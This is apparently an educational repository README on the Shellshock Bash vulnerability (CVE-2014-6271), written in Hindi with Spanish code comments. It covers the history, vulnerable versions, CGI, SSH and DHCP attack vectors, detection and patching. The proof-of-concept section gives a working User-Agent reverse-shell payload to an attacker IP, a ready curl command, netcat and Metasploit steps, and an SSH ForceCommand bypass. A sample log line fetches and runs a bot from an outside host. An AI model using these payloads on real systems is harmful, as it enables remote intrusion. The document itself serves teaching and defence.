
शैलशॉक (CVE-2014-6271) कमजोरी का विवरण देने वाला शैक्षिक भंडार, जिसमें तकनीकी विश्लेषण, हमले के वेक्टर, अवधारणा-प्रमाण शोषण, और बैश पर्यावरण चर इंजेक्शन के लिए शमन कदम शामिल हैं।
____ _ _ _____ _ _ ____ _ _ ___ ____ _ __
/ ___|| | | | ____| | | / ___|| | | |/ _ \ / ___| |/ /
\___ \| |_| | _| | | | \___ \| |_| | | | | | | ' /
___) | _ | |___| |___| |___ ___) | _ | |_| | |___| . \
|____/|_| |_|_____|_____|_____|____/|_| |_|\___/ \____|_|\_\
Bash पर्यावरण चर इंजेक्शन के माध्यम से दूरस्थ कोड निष्पादन
"एक ऐसी खामी जो बैश में दशकों तक छिपी रही और 24 घंटे से भी कम समय में इंटरनेट की नींव हिला दी।"
शेलशॉक (Bashdoor के नाम से भी जाना जाता है) कमांड इंटरप्रेटर GNU Bash में महत्वपूर्ण कमजोरियों का एक समूह है जो किसी दूरस्थ हमलावर को लक्ष्य प्रणाली पर मनमाने कमांड निष्पादित करने की अनुमति देता है।
मूल त्रुटि: Bash किसी फ़ंक्शन की परिभाषा समाप्त होने पर पर्यावरण चर का विश्लेषण बंद नहीं करता था। () { :; }; के बाद जुड़ा कोई भी कोड स्वचालित रूप से निष्पादित हो जाता था।
Variable Env → Definición de función → [AQUÍ EJECUTA CÓDIGO EXTRA] ← BUG
चूँकि वेब सर्वर (CGI/Apache), SSH सेवाएँ और DHCP क्लाइंट हेडर या पैरामीटर को Bash पर्यावरण चर में बदलते हैं, हमले की सतह बहुत बड़ी थी।
12 Sep 2014 ──── Stéphane Chazelas बग की खोज करता है और इसे Chet Ramey (Bash के अनुरक्षक) को रिपोर्ट करता है
यह बग Bash में 20 से अधिक वर्षों से मौजूद था।
24 Sep 2014 ──── सार्वजनिक खुलासा + पैच का प्रकाशन (CVE-2014-6271)
कुछ घंटों बाद: सक्रिय बॉटनेट बड़े पैमाने पर इंटरनेट को स्कैन कर रहे हैं।
25-30 Sep 2014 ── संबंधित कमजोरियों की खोज:
CVE-2014-6277, CVE-2014-6278, CVE-2014-7169,
CVE-2014-7186, CVE-2014-7187
Oct 2014 ──────── लाखों हमले दर्ज किए गए। गंभीरता में Heartbleed से तुलना की गई।
| उत्पाद | कमजोर संस्करण | स्थिति |
|---|---|---|
| GNU Bash | 1.0.3 – 4.3 | पैच किया गया |
| Linux (Debian/Ubuntu/CentOS/RHEL) | सितंबर 2014 से पहले के संस्करण | पैच किया गया |
| Apple macOS / OS X | 10.10 और पुराने | पैच किया गया (सुरक्षा अद्यतन 2014-005) |
| एम्बेडेड Bash वाले IoT उपकरण | अनेक | निर्माता पर निर्भर करता है |
| Apache पर CGI वाले वेब सर्वर | कमजोर Bash वाला कोई भी संस्करण | पैच किया गया |
जब Bash एक पर्यावरण चर से एक फंक्शन आयात करता है, तो वह फंक्शन के समापन } तक पढ़ता है। कमजोर संस्करणों में, वह रुकने के बजाय बाद के कोड को प्रोसेस करना जारी रखता था।
# Variable de entorno maliciosa:
SHELLSHOCK='() { :; }; /bin/cat /etc/passwd'
# Bash vulnerable al inicializarse:
# 1. Lee la definición de función → OK
# 2. Encuentra }; → debería parar
# 3. CONTINÚA → ejecuta /bin/cat /etc/passwd ← BUG
हमलावर Apache सर्वर (CGI) Bash (कमजोर)
│ │ │
│ HTTP Request │ │
│ User-Agent: () { :;}; cmd │ │
│──────────────────────────────▶│ │
│ │ हेडर को env vars में बदलता है │
│ │ HTTP_USER_AGENT=() { :;}; cmd │
│ │───────────────────────────────▶│
│ │ │ cmd निष्पादित करता है
│ │ │ www-data के रूप में
│◀──────────────────────────────│◀───────────────────────────────│
│ प्रतिक्रिया + cmd का आउटपुट │ │
env x='() { :;}; echo VULNERABLE' bash -c "echo this is a test"
कमजोर सिस्टम में परिणाम:
VULNERABLE
this is a test
पैच किए गए सिस्टम में परिणाम:
this is a test
(या एक सिंटैक्स त्रुटि — कभी "कमजोर" प्रिंट नहीं करता)
.cgi स्क्रिप्ट का उपयोग करने वाले वेब सर्वर HTTP Headers को Bash पर्यावरण चर में बदलते हैं।
प्रभावित हेडर: User-Agent, Referer, Cookie, X-Forwarded-For, और कोई भी कस्टम हेडर
# Si el servidor tiene ForceCommand configurado, un atacante con clave válida puede bypassearlo
ssh user@target '() { :;}; /bin/bash'
दुर्भावनापूर्ण DHCP सर्वर DHCP प्रतिक्रिया को प्रोसेस करने के लिए Bash का उपयोग करने वाले क्लाइंट्स में पर्यावरण चर इंजेक्ट कर सकते हैं।
# Cualquier proceso que herede variables de entorno y ejecute Bash
env VAR='() { :;}; comando_malicioso' bash -c "script_legítimo"
nc -lvnp 4444
# Payload que se inyecta en el User-Agent
() { :;}; /bin/bash -i >& /dev/tcp/IP_ATACANTE/4444 0>&1
curl -H "User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/192.168.1.10/4444 0>&1" \
http://sitio-vulnerable.com/cgi-bin/test.cgi
Connection received from 10.10.10.50
bash: no job control in this shell
sh-4.1$ id
uid=48(apache) gid=48(apache) groups=48(apache)
use exploit/multi/http/apache_mod_cgi_bash_env_exec
set RHOSTS <target>
set TARGETURI /cgi-bin/test.cgi
set LHOST <your_ip>
run
# Buscar el patrón característico en access.log
grep -E "\(\)\s*\{" /var/log/apache2/access.log
# Ejemplo de log malicioso:
# "() { :;}; wget http://malware.com/bot -O /tmp/x && chmod +x /tmp/x && /tmp/x"
# Procesos hijos de www-data/apache que no deberían existir
ps aux | grep www-data | grep -v grep
netstat -antup | grep ESTABLISHED
- /tmp, /var/tmp, /dev/shm में नई निष्पादन योग्य फ़ाइलें
- वेब सर्वर से अज्ञात आईपी पर बाहरी कनेक्शन
- /etc/crontab या /etc/passwd का संशोधन
- टर्मिनल के बिना www-data के रूप में चलने वाली bash प्रक्रियाएं
# Debian / Ubuntu
sudo apt-get update && sudo apt-get install --only-upgrade bash
# RHEL / CentOS / Fedora
sudo yum update bash
# Verificar versión parcheada (debe mostrar "patches")
bash --version
# GNU bash, version 4.3.30(1)-release → VULNERABLE
# GNU bash, version 4.3.33(1)-release → PARCHEADO (varía por distro)
# Debe devolver solo "this is a test" — NUNCA "VULNERABLE"
env x='() { :;}; echo VULNERABLE' bash -c "echo this is a test"
# 1. यदि आवश्यक न हो तो CGI अक्षम करें
a2dismod cgi
# 2. पैटर्न को ब्लॉक करने के लिए WAF नियम
# ModSecurity में:
SecRule REQUEST_HEADERS "@rx \(\)\s*\{" "id:1001,phase:1,deny,msg:'Shellshock Attempt'"
# 3. लॉग की निरंतर निगरानी
tail -f /var/log/apache2/access.log | grep -E "\(\)\s*\{"
यह रिपॉजिटरी विशेष रूप से शैक्षिक उद्देश्यों, साइबर सुरक्षा अनुसंधान और अधिकृत सुरक्षा ऑडिट के लिए है। यहां प्रस्तुत सभी जानकारी सार्वजनिक डोमेन में है। स्पष्ट प्राधिकरण के बिना सिस्टम पर परीक्षण करना अधिकांश न्यायक्षेत्रों के कानूनों के तहत अवैध है। लेखक इस जानकारी के दुरुपयोग के लिए जिम्मेदार नहीं है।
Stéphane Chazelas द्वारा खोजा गया · 24 सितंबर 2014 को प्रकाशित
CVSS स्कोर: 10.0 (गंभीर) → बाद में CVSSv3 में 9.8 में समायोजित किया गया